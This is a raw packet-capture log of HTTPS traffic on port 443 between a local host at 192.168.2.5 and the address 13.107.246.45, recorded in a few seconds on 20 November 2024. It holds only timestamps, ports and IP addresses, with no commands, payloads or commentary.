Nov 20, 2024 01:18:46.704005003 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.704391956 CET	49869	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.704397917 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.745544910 CET	443	49862	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.745877028 CET	443	49862	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.745942116 CET	49862	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.746009111 CET	49862	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.746046066 CET	443	49862	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.746073008 CET	49862	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.746088982 CET	443	49862	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.748788118 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.748841047 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.748925924 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.749106884 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.749136925 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.778073072 CET	443	49870	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.778461933 CET	49870	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.778474092 CET	443	49870	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.778893948 CET	49870	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.778898954 CET	443	49870	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.791397095 CET	443	49863	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.791732073 CET	443	49863	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.791788101 CET	49863	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.791841030 CET	49863	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.791841030 CET	49863	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.791860104 CET	443	49863	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.791870117 CET	443	49863	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.794337988 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.794367075 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.794440985 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.794617891 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.794629097 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.804339886 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.804414034 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.804514885 CET	49869	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.804523945 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.804606915 CET	49869	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.804651976 CET	49869	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.804677963 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.804692984 CET	49869	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.804701090 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.807293892 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.807327986 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.807389975 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.807528019 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.807545900 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.876987934 CET	443	49870	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.877415895 CET	443	49870	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.877479076 CET	49870	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.877535105 CET	49870	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.877543926 CET	443	49870	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.877567053 CET	49870	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.877573013 CET	443	49870	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.882289886 CET	49877	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.882302046 CET	443	49877	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.882371902 CET	49877	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.882533073 CET	49877	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.882545948 CET	443	49877	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.986702919 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.988068104 CET	49873	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.988085985 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.988667965 CET	49873	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.988673925 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.092153072 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.092606068 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.092673063 CET	49873	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.092701912 CET	49873	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.092715025 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.095706940 CET	49879	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.095716953 CET	443	49879	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.095788002 CET	49879	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.096051931 CET	49879	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.096067905 CET	443	49879	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.392604113 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.393225908 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.393251896 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.394020081 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.394026995 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.433459997 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.433875084 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.433896065 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.434331894 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.434339046 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.448684931 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.449044943 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.449107885 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.449434996 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.449440956 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.492074966 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.492108107 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.492140055 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.492186069 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.492233038 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.492428064 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.492444038 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.492455959 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.492461920 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.495188951 CET	49880	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.495237112 CET	443	49880	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.495476007 CET	49880	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.495623112 CET	49880	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.495631933 CET	443	49880	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.535639048 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.535855055 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.535922050 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.535949945 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.535964012 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.535975933 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.535983086 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.536923885 CET	443	49877	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.537410975 CET	49877	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.537431002 CET	443	49877	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.537873030 CET	49877	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.537878990 CET	443	49877	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.538893938 CET	49881	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.538928986 CET	443	49881	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.539062977 CET	49881	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.539190054 CET	49881	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.539200068 CET	443	49881	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.547060966 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.547157049 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.547223091 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.547247887 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.547278881 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.547334909 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.547357082 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.547388077 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.547399044 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.549254894 CET	49882	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.549272060 CET	443	49882	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.549390078 CET	49882	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.549503088 CET	49882	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.549509048 CET	443	49882	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.637305021 CET	443	49877	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.637480974 CET	443	49877	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.637567997 CET	49877	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.637670040 CET	49877	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.637670040 CET	49877	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.637681007 CET	443	49877	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.637693882 CET	443	49877	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.640342951 CET	49883	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.640389919 CET	443	49883	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.640495062 CET	49883	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.640629053 CET	49883	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.640640020 CET	443	49883	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.740808010 CET	443	49879	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.741266966 CET	49879	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.741281986 CET	443	49879	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.741976976 CET	49879	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.741981983 CET	443	49879	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.839334011 CET	443	49879	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.839512110 CET	443	49879	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.839612007 CET	49879	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.839708090 CET	49879	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.839723110 CET	443	49879	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.839775085 CET	49879	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.839780092 CET	443	49879	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.843204975 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.843254089 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:47.843338966 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.843605042 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:47.843624115 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.139779091 CET	443	49880	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.142384052 CET	49880	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.142410040 CET	443	49880	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.143110991 CET	49880	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.143117905 CET	443	49880	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.342711926 CET	443	49881	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.345052004 CET	443	49883	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.346806049 CET	443	49882	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.395946980 CET	49882	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.397361040 CET	49881	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.399601936 CET	49883	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.560535908 CET	49881	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.560561895 CET	443	49881	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.561584949 CET	49881	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.561594009 CET	443	49881	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.561934948 CET	49883	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.561949015 CET	443	49883	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.562377930 CET	49883	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.562383890 CET	443	49883	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.562654972 CET	49882	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.562688112 CET	443	49882	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.563263893 CET	49882	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.563271999 CET	443	49882	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.579365969 CET	443	49880	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.579526901 CET	443	49880	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.579600096 CET	49880	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.579770088 CET	49880	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.579791069 CET	443	49880	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.579802990 CET	49880	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.579808950 CET	443	49880	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.617938995 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.617957115 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.618033886 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.624831915 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.624846935 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.676112890 CET	443	49883	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.676214933 CET	443	49883	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.676259041 CET	443	49883	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.676266909 CET	49883	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.676307917 CET	49883	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.680264950 CET	443	49881	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.680322886 CET	443	49881	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.680370092 CET	49881	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.680382967 CET	443	49881	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.680406094 CET	443	49881	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.680676937 CET	49881	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.683192015 CET	49883	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.683192015 CET	49883	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.683209896 CET	443	49883	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.683221102 CET	443	49883	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.683490992 CET	443	49882	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.684988022 CET	443	49882	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.685096979 CET	49882	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.697880983 CET	49881	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.697886944 CET	443	49881	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.697901964 CET	49881	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.697907925 CET	443	49881	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.699068069 CET	49882	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.699088097 CET	443	49882	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.699103117 CET	49882	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.699110985 CET	443	49882	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.701950073 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.702028990 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.702100039 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.702287912 CET	49889	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.702322006 CET	443	49889	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.702383995 CET	49889	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.764585972 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.786559105 CET	49890	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.786583900 CET	443	49890	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.786650896 CET	49890	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.786772013 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.786784887 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.786856890 CET	49889	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.786875963 CET	443	49889	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.797194958 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.797218084 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.797761917 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.797768116 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.799508095 CET	49890	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.799556017 CET	443	49890	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.897119999 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.897228956 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.897349119 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.900969028 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.900969028 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.900980949 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.900991917 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.918662071 CET	49891	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.918684006 CET	443	49891	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:48.918864012 CET	49891	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.920784950 CET	49891	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:48.920799017 CET	443	49891	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.157211065 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.157243013 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.157350063 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.157624006 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.157641888 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.170609951 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.170638084 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.170768976 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.170973063 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.170989037 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.280169010 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.281280994 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.281301022 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.282027960 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.282033920 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.381159067 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.381354094 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.381553888 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.381927967 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.381942034 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.381968975 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.381978035 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.384628057 CET	49897	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.384665966 CET	443	49897	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.384778023 CET	49897	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.384905100 CET	49897	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.384924889 CET	443	49897	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.429034948 CET	443	49889	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.436295986 CET	49889	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.436335087 CET	443	49889	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.436564922 CET	443	49890	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.436767101 CET	49889	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.436775923 CET	443	49889	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.436862946 CET	49890	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.436933994 CET	443	49890	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.437258005 CET	49890	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.437273979 CET	443	49890	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.439490080 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.440004110 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.440047026 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.440536022 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.440550089 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.532738924 CET	443	49889	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.532948971 CET	443	49889	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.533073902 CET	49889	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.533099890 CET	49889	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.533117056 CET	443	49889	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.533128977 CET	49889	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.533135891 CET	443	49889	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.535993099 CET	443	49890	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.536154985 CET	49898	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.536194086 CET	443	49898	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.536262035 CET	49898	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.536289930 CET	443	49890	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.536345005 CET	49890	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.536422014 CET	49890	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.536422014 CET	49890	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.536456108 CET	443	49890	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.536477089 CET	49898	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.536484957 CET	443	49890	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.536492109 CET	443	49898	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.538537979 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.538572073 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.538671970 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.538817883 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.538835049 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.539386988 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.539613962 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.539712906 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.539769888 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.539786100 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.539813042 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.539828062 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.541930914 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.541970968 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.542246103 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.542370081 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.542382956 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.571583986 CET	443	49891	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.571981907 CET	49891	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.572022915 CET	443	49891	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.572406054 CET	49891	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.572412968 CET	443	49891	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.671458960 CET	443	49891	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.672110081 CET	443	49891	13.107.246.45	192.168.2.5
